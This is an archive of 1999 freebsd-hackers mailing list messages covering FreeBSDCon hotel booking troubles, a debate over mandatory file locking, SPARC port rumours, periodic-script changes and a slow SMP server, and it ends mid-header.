reservation X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Date: Tue, 24 Aug 1999 02:18:08 +0900 Message-ID: <8803.935428688@coconut.itojun.org> From: Jun-ichiro itojun Hagino Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (I believe it got bounced due to my mistake in To: line. sorry if you got it multiple times) Hello, if this mailing list is inappropriate please tell me so. I contacted radisson hotels for FreeBSDCon reservation with special discount, to get the following email - they don't know about special rate code "FreeBSDCon". What is the exact code for reservation? Do any of you have success experience with it? Also, the email suggests that web reservation does not work for special rate reservation. You may want to update freebsdcon.org webpages. itojun ------- Forwarded Message Return-Path: Received: from bricks.carlson.com (mail.carlson.com [208.240.12.67]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id SAA01929 for ; Mon, 23 Aug 1999 18:57:14 +0900 (JST) Received: from mail.carlson.com (root@localhost) by bricks.carlson.com with ESMTP id EAA15651 for ; Mon, 23 Aug 1999 04:57:09 -0500 (CDT) Received: from otcmsg07.carlson.com (otcmsg07.carlson.com [172.24.129.74]) by mail.carlson.com with SMTP id EAA15647 for ; Mon, 23 Aug 1999 04:57:08 -0500 (CDT) Received: by otcmsg07.carlson.com with Internet Mail Service (5.5.2448.0) id ; Mon, 23 Aug 1999 04:57:05 -0500 Message-ID: <976D77F8C53DD211944D0008C7B184370135E36E@omaha-msg01.radisson.com> From: Omaha Specialists To: "'itojun@itojun.org'" Cc: Omaha Specialists Subject: RE: * Radisson Hotels Date: Mon, 23 Aug 1999 04:55:58 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain X-Filter: mailagent [version 3.0 PL56] for itojun@itojun.org Mr Hagino, Special group/conference rates are not available via the web - we did contact the hotel and they don't show a special rate for your group - what does BSD stand for? All the groups that we have listed here have to be booked with the hotel directly. I can provide you with their phone and fax number. Phone# is 510-548-7920 fax# 510-548-7944. You may want to contact them directly concerning this conference. Sincerely, Geri Lowe Radisson Hotels International > -----Original Message----- > From: itojun@itojun.org [SMTP:itojun@itojun.org] > Sent: Sunday, August 22, 1999 11:34 PM > To: slsspecs@carlson.com > Subject: * Radisson Hotels > > Mozilla/4.51 [en] (X11; I; NetBSD 1.4 i386; Nav) > gw.radisson.com > jun-ichiro hagino > +81-3-3490-9225 > I would like to reserve a non-smoking room, 1 adult, 18/oct/99 - > 21/oct/99, at Radisson Berkeley Marina (Berkeley CA). > > I'm attending FreeBSDCon, a conference held there. I wonder how I can > ensure to get discount for FreeBSDCon ($125/night) via web reservation. > Thanks for your help. ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 10:23:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E923015016; Mon, 23 Aug 1999 10:22:47 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA69902; Mon, 23 Aug 1999 11:21:56 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA39962; Mon, 23 Aug 1999 11:22:35 -0600 (MDT) Message-Id: <199908231722.LAA39962@harmony.village.org> To: Poul-Henning Kamp Subject: Re: Mandatory locking? Cc: Greg Lehey , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman In-reply-to: Your message of "Mon, 23 Aug 1999 09:47:40 +0200." <7569.935394460@critter.freebsd.dk> References: <7569.935394460@critter.freebsd.dk> Date: Mon, 23 Aug 1999 11:22:35 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When I did a remote geographic disk based mirroring product a few years ago, I just had an ioctl that said that this disk was special for a while. Then the open routine would fail. This flag was cleared in the close routine (and by the companion ioctl). I did allow users to open the device w/o read and write to get status on the device, but that was it until the rebuilding process was complete. Granted, this was the control device for the mirroring driver... But that worked fairly well. I only needed to do this in recovery situations for a few hundred disk I/Os, so the average user would likely have never noticed. Oh, this was on Solaris, but the concepts are exactly the same for FreeBSD. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 11: 5:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 04A4514F42 for ; Mon, 23 Aug 1999 11:05:30 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id B09A51C2B; Mon, 23 Aug 1999 13:05:11 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id A6C5D3826; Mon, 23 Aug 1999 13:05:11 -0400 (EDT) Date: Mon, 23 Aug 1999 13:05:11 -0400 (EDT) From: Bill Fumerola To: Jun-ichiro itojun Hagino Cc: hackers@freebsd.org Subject: Re: [freebsdcon] radisson reservation In-Reply-To: <8803.935428688@coconut.itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Jun-ichiro itojun Hagino wrote: > I contacted radisson hotels for FreeBSDCon reservation with > special discount, to get the following email - they don't know > about special rate code "FreeBSDCon". What is the exact code for > reservation? Do any of you have success experience with it? Use 'Walnut Creek CDROM' they know what that means. It would smart of FreeBSDcon to make sure before they put "just mention FreeBSD" that the hotel actually will respond to that. It took me 10 minutes of explanation for the reservation clerk to finally figure out just what the hell I was talking about. WC CDROM did the trick. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 11: 8:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (Postfix) with ESMTP id C748F15778 for ; Mon, 23 Aug 1999 11:08:03 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee (8.8.8/8.8.4) with SMTP id VAA14460; Mon, 23 Aug 1999 21:06:19 +0300 (EEST) Date: Mon, 23 Aug 1999 21:06:19 +0300 (EEST) From: Narvi To: Dennis Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? In-Reply-To: <199908231634.MAA06546@etinc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Dennis wrote: > I heard a rumor that freebsd runs on a sparc, but I dont see any backing > for that. Is it in the works? > > dennis > It is more correct to say that it passes in and out of the thoughts of people from time to time, with very little code that has actually materialised. Sander There is no love, no good, no happiness and no future - all these are just illusions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 11:53:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 7B56614F1D for ; Mon, 23 Aug 1999 11:53:41 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id OAA46988; Mon, 23 Aug 1999 14:53:21 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <37C10D71.EAA5D819@baker.ie> References: <37C10D71.EAA5D819@baker.ie> Date: Mon, 23 Aug 1999 14:53:48 -0400 To: Cillian Sharkey , hackers@FreeBSD.ORG From: Garance A Drosihn Subject: Re: proposed change for /etc/periodic/* scripts Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 9:59 AM +0100 8/23/99, Cillian Sharkey wrote: >* if there are no passwd/group diffs found, don't print anything > out (not even the header). Same for setuid etc. diffs. I have one change to one of the scripts, the one checking for mail spool files. I changed it to recognize the spool file that the script itself is sending, and not keep warning me about something that it itself was doing. >* For the 'df' status, only report filesystems that are over > a certain capacity (95% or only xxMb left etc..) I think this would need to be "knob-ized". I will ignore these status reports for some time, and then some event comes up where I am interested in reviewing all of them. If a partition goes over 90%, for instance, I will want to know if it's been growing 1% a week for months, or if all the growth happened last night. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:17:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.218.96.75]) by hub.freebsd.org (Postfix) with ESMTP id 5F2C615745 for ; Mon, 23 Aug 1999 12:17:10 -0700 (PDT) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (housley@localhost [127.0.0.1]) by thehousleys.net (8.9.3/8.9.3) with ESMTP id PAA58038; Mon, 23 Aug 1999 15:16:13 -0400 (EDT) (envelope-from jim@thehousleys.net) Message-ID: <37C19DFC.3562DEC9@thehousleys.net> Date: Mon, 23 Aug 1999 15:16:12 -0400 From: "James E. Housley" X-Mailer: Mozilla 4.51 [en] (X11; U; FreeBSD 3.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Garance A Drosihn Cc: Cillian Sharkey , hackers@FreeBSD.ORG Subject: Re: proposed change for /etc/periodic/* scripts References: <37C10D71.EAA5D819@baker.ie> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Garance A Drosihn wrote: > > I think this would need to be "knob-ized". I will ignore these > status reports for some time, and then some event comes up > where I am interested in reviewing all of them. If a partition > goes over 90%, for instance, I will want to know if it's been > growing 1% a week for months, or if all the growth happened last > night. Something inbetween might be nice. Nightly be able to display only "changed" items, but have full output on the weekly/monthly runs. Jim -- James E. Housley PGP: 1024/03983B4D System Supply, Inc. 2C 3F 3A 0D A8 D8 C3 13 Pager: pagejim@notepage.com 7C F0 B5 BF 27 8B 92 FE "The box said 'Requires Windows 95, NT, or better,' so I installed FreeBSD" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:28:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id A047E14C49; Mon, 23 Aug 1999 12:28:46 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA20796; Mon, 23 Aug 1999 15:27:33 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <19990823152849.H83273@freebie.lemis.com> References: <19990823122719.G83273@freebie.lemis.com> <7071.935386172@critter.freebsd.dk> <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> <199908230504.WAA01860@apollo.backplane.com> <19990823152849.H83273@freebie.lemis.com> Date: Mon, 23 Aug 1999 15:28:01 -0400 To: Greg Lehey , Matthew Dillon , Poul-Henning Kamp From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 3:28 PM +0930 8/23/99, Greg Lehey wrote: >I'm a little surprised that there's any objection to the concept >of mandatory locking. In transaction processing, locking is not >optional, and if any process at all can access a file or set of... For what it's worth, I also like the idea of mandatory locking. It's important to think through some of the implementation details, but I would also like to see some way to specify mandatory locking in at least some situations. I'm not particularly thrilled with the idea of keying it off chmod bits, though. That seems like a recipe for disaster. Anyway, I am also puzzled as to why there would be much objection to the option of mandatory locking. My initial systems-programming experience was on a mainframe OS where mandatory locking was the NORM, and you had to go out of your way to avoid locking. It seemed to work quite well in my experience. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:34:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 2CCA115072 for ; Mon, 23 Aug 1999 12:34:51 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA46836; Mon, 23 Aug 1999 15:33:02 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Mon, 23 Aug 1999 15:33:29 -0400 To: Chuck Robey , Ville-Pertti Keinonen From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: Greg Lehey , hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:29 AM -0400 8/23/99, Chuck Robey wrote: >I think mandatory locking should exist, but only be available to root. >If a program needs this, it must run with root privs, so that ordinary >users cannot wedge the machine, but (as usual) root can shoot himself >in the foot (traditional Unix methodology). I don't think we want to force people into running their program as root just to get mandatory locking. Perhaps there would be a program with root-privs which would have to be run to register files which will have mandatory locking, but the program which manipulates those files shouldn't have to run as root. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:43:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 33E6415063; Mon, 23 Aug 1999 12:43:06 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA39572; Mon, 23 Aug 1999 15:42:44 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <37C174F5.2D8AEEB1@newsguy.com> References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> <37C174F5.2D8AEEB1@newsguy.com> Date: Mon, 23 Aug 1999 15:43:10 -0400 To: "Daniel C. Sobral" , Greg Lehey From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 1:21 AM +0900 8/24/99, Daniel C. Sobral wrote: >Well, I'd say advisory lock does the job if the software is written >right, and if the software is not written right, mandatory locking >won't help. > >Let's give an example. You right a program using mandatory locking >making access to a file. I write an "incorrect" program accessing >that file. > >I garantee you that the file is going to be screwed up, because I >intend to write random output to it as soon as I get access to it. >After all, if I'm incorrect, I'm allowed to do anything. There's a difference between a program which has a locking-oversight or race-condition, and a program you write to deliberately destroy data. The thing about well-intentioned but incorrect locking code is that it will appear to work fine, until it trips over the one code path where it forgets to lock some file that it should have locked. And even then, the code will "work" just fine, until multiple processes are accessing that file at the same time. I think it is appropriate for an operating system to provide an option such that *it* (the system) will enforce the locking, and not have to trust that all code-paths in all programs will do the right thing WRT advisory locking. (I also think the implementation needs to be thought out carefully, to make sure it doesn't become a way for a malicious user to implement denial-of-service attacks...) --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:47:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 2ADDC1569B; Mon, 23 Aug 1999 12:47:44 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id PAA46490; Mon, 23 Aug 1999 15:47:23 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <37C172B7.40AD1029@newsguy.com> References: <37C172B7.40AD1029@newsguy.com> Date: Mon, 23 Aug 1999 15:47:50 -0400 To: "Daniel C. Sobral" , "Daniel O'Connor" From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: Greg Lehey , Garrett Wollman , FreeBSD Committers , FreeBSD Hackers , Poul-Henning Kamp , Matthew Dillon Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 1:11 AM +0900 8/24/99, Daniel C. Sobral wrote: >Daniel O'Connor wrote: > > I think its a good idea, and hey if people object it can always > > be an option like -> > > > > option NO_MANDATORY_LOCKING > > > > Phew, that was tough. > >When introducing security holes, the default should be the hole >not being present. Ie, reverse that option. If we spent our time thinking about the implementation, maybe we could come up with something which meets the needs of the people who would use mandatory locking, without introducing any kind of security hole. Let's list what the potential security risks are, and see if we can't think our way around them. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:54: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 59A8314C58 for ; Mon, 23 Aug 1999 12:53:57 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id NAA62143; Mon, 23 Aug 1999 13:53:25 -0600 (MDT) (envelope-from ken) Message-Id: <199908231953.NAA62143@panzer.kdm.org> Subject: Re: [freebsdcon] radisson reservation In-Reply-To: from Bill Fumerola at "Aug 23, 1999 01:05:11 pm" To: billf@jade.chc-chimes.com (Bill Fumerola) Date: Mon, 23 Aug 1999 13:53:25 -0600 (MDT) Cc: itojun@itojun.org (Jun-ichiro itojun Hagino), hackers@FreeBSD.ORG From: "Kenneth D. Merry" X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bill Fumerola wrote... > On Tue, 24 Aug 1999, Jun-ichiro itojun Hagino wrote: > > > I contacted radisson hotels for FreeBSDCon reservation with > > special discount, to get the following email - they don't know > > about special rate code "FreeBSDCon". What is the exact code for > > reservation? Do any of you have success experience with it? > > Use 'Walnut Creek CDROM' they know what that means. It would smart of > FreeBSDcon to make sure before they put "just mention FreeBSD" that the > hotel actually will respond to that. > > It took me 10 minutes of explanation for the reservation clerk to finally > figure out just what the hell I was talking about. WC CDROM did the > trick. I had a similar experience, and you're right, mentioning Walnut Creek seemed to work. Unfortunately, you have to call the local hotel to get reservations, and not the toll-free national hotline. The hotel in Berkeley doesn't have a toll free number, so after sitting on hold with the Berkeley Radission for 15 minutes, burning long distance money, I decided to call the national reservations hotline. They told me I had to call the reservations desk at the Berkeley Radission. Another thing I found out is that the reservations desk there is only open Monday through Friday (not sure about the hours). If you call on a weekend, the front desk people can't make the reservation because it's for a conference. Anyway, I was finally able to make the reservation, by calling on a Monday morning... (didn't have to sit on hold too long, thankfully) Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:57:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 65F1A14E30 for ; Mon, 23 Aug 1999 12:57:19 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 6AAF21C2B; Mon, 23 Aug 1999 14:57:36 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 65CBB3826; Mon, 23 Aug 1999 14:57:36 -0400 (EDT) Date: Mon, 23 Aug 1999 14:57:36 -0400 (EDT) From: Bill Fumerola To: "Kenneth D. Merry" Cc: Jun-ichiro itojun Hagino , hackers@FreeBSD.ORG Subject: Re: [freebsdcon] radisson reservation In-Reply-To: <199908231953.NAA62143@panzer.kdm.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Kenneth D. Merry wrote: > Unfortunately, you have to call the local hotel to get reservations, and > not the toll-free national hotline. The hotel in Berkeley doesn't have a > toll free number, so after sitting on hold with the Berkeley Radission for > 15 minutes, burning long distance money, I decided to call the national > reservations hotline. They told me I had to call the reservations desk at > the Berkeley Radission. I called the 800 number in the FreeBSDcon brochure, it worked fine. Regretfully, I now won't be attending the conference so now I get to find out just how well they cancel reservations. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 12:59:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id A47DA14C58 for ; Mon, 23 Aug 1999 12:59:11 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id NAA62227; Mon, 23 Aug 1999 13:58:22 -0600 (MDT) (envelope-from ken) Message-Id: <199908231958.NAA62227@panzer.kdm.org> Subject: Re: [freebsdcon] radisson reservation In-Reply-To: from Bill Fumerola at "Aug 23, 1999 02:57:36 pm" To: billf@jade.chc-chimes.com (Bill Fumerola) Date: Mon, 23 Aug 1999 13:58:22 -0600 (MDT) Cc: itojun@itojun.org, hackers@FreeBSD.ORG From: "Kenneth D. Merry" X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bill Fumerola wrote... > On Mon, 23 Aug 1999, Kenneth D. Merry wrote: > > > Unfortunately, you have to call the local hotel to get reservations, and > > not the toll-free national hotline. The hotel in Berkeley doesn't have a > > toll free number, so after sitting on hold with the Berkeley Radission for > > 15 minutes, burning long distance money, I decided to call the national > > reservations hotline. They told me I had to call the reservations desk at > > the Berkeley Radission. > > I called the 800 number in the FreeBSDcon brochure, it worked fine. They should stick that magic 800 number on the FreeBSDcon web site. > Regretfully, I now won't be attending the conference so now I get to find > out just how well they cancel reservations. Bummer. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 13:13:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 1627215734; Mon, 23 Aug 1999 13:13:43 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id WAA78393; Mon, 23 Aug 1999 22:12:39 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199908232012.WAA78393@gratis.grondar.za> To: "Daniel C. Sobral" Cc: Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Date: Mon, 23 Aug 1999 22:12:38 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Now I suppose you're going to come and say that this is bad > > programming, and advisory locking would do the job if the software is > > written right. Correct. You could also use the same argument to say > > that memory protection isn't necessary, because a correctly written > > program doesn't overwrite other processes address space. It's the > > same thing: file protection belongs in the kernel. > > Well, I'd say advisory lock does the job if the software is written > right, and if the software is not written right, mandatory locking > won't help. Folk are all skirting around a very convenient (and necessary) loophole; in cases where there _is_ mandatory locking, there is always some meta-user which is allowed to violate this. In process-space, this is the kernel. In file-space, this should be root. Processes that require mandatory locking must revoke superuser before attempting locks. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 13:25: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from caxton.correionet.com.br (caxton.correionet.com.br [200.246.35.7]) by hub.freebsd.org (Postfix) with ESMTP id 5E0E415710 for ; Mon, 23 Aug 1999 13:24:54 -0700 (PDT) (envelope-from morte@correionet.com.br) Received: from caxton.correionet.com.br (caxton.correionet.com.br [200.246.35.7]) by caxton.correionet.com.br (8.9.3/8.9.3) with ESMTP id RAA81233; Mon, 23 Aug 1999 17:23:13 -0300 (EST) Date: Mon, 23 Aug 1999 17:23:13 -0300 (EST) From: Luiz Morte da Costa Junior To: freebsd-hackers@freefall.cdrom.com Cc: freebsd-hackers@freebsd.org Subject: Re: L440GX+ Server Board In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi list, About the problem bellow, I bought a 2940 Adaptec Ultra2 Wide SCSI controller, but it didn't work too. I wrote to Justin T. Gibbs and he told me that my problem is not SCSI. Somebody has any idea? []s, Luiz Morte da Costa Junior Analista de Redes E-mail: morte@correionet.com.br Telefone: +55 19 754-2532 Fax: +55 19 255-7576 CorreioNet - Correio Popular Campinas - SP - Brazil On Sun, 22 Aug 1999, Luiz Morte da Costa Junior wrote: > > Hi all, > > I have a problem with a server running a FreeBSD 3.2. > > My Server has a L440GX+ Serber Board (intel), with network card 10/100, > SCSI AIC 7896 (80MB/s), 2 SCSI disk with 9GB (80MB/s), 2 pentium III > 450Mhz (not overclocked). The NIC and SCSI are onboard. > > I recompiled a kernel to SMP, and it worked. The server is ok, but when I > run a comand with disk access (whith vipw or mysql), the performance of > server goes down. My server stays very very very slow. If I use pine to > read my messages, it doesn't work. When the comand finishes, the server > stays "ok" again. > > I recompiled the kernel with "maxusers 128", but it doesn't work. > > My SCSI cable has a terminator and the scsi setup is ok (I think :) ). > > The dmesg command output is in attchmnt. > > I appreciate any help. > > []s, > > Luiz Morte da Costa Junior > Analista de Redes E-mail: morte@correionet.com.br > Telefone: +55 19 754-2532 Fax: +55 19 255-7576 > CorreioNet - Correio Popular Campinas - SP - Brazil > []s, Luiz Morte da Costa Junior Analista de Redes E-mail: morte@correionet.com.br Telefone: +55 19 754-2532 Fax: +55 19 255-7576 CorreioNet - Correio Popular Campinas - SP - Brazil To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 13:28:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by hub.freebsd.org (Postfix) with ESMTP id 74E2F14E4F; Mon, 23 Aug 1999 13:28:28 -0700 (PDT) (envelope-from dmlb@ragnet.demon.co.uk) Received: from ragnet.demon.co.uk ([158.152.46.40]) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 11J0hP-0009lZ-0B; Mon, 23 Aug 1999 20:28:12 +0000 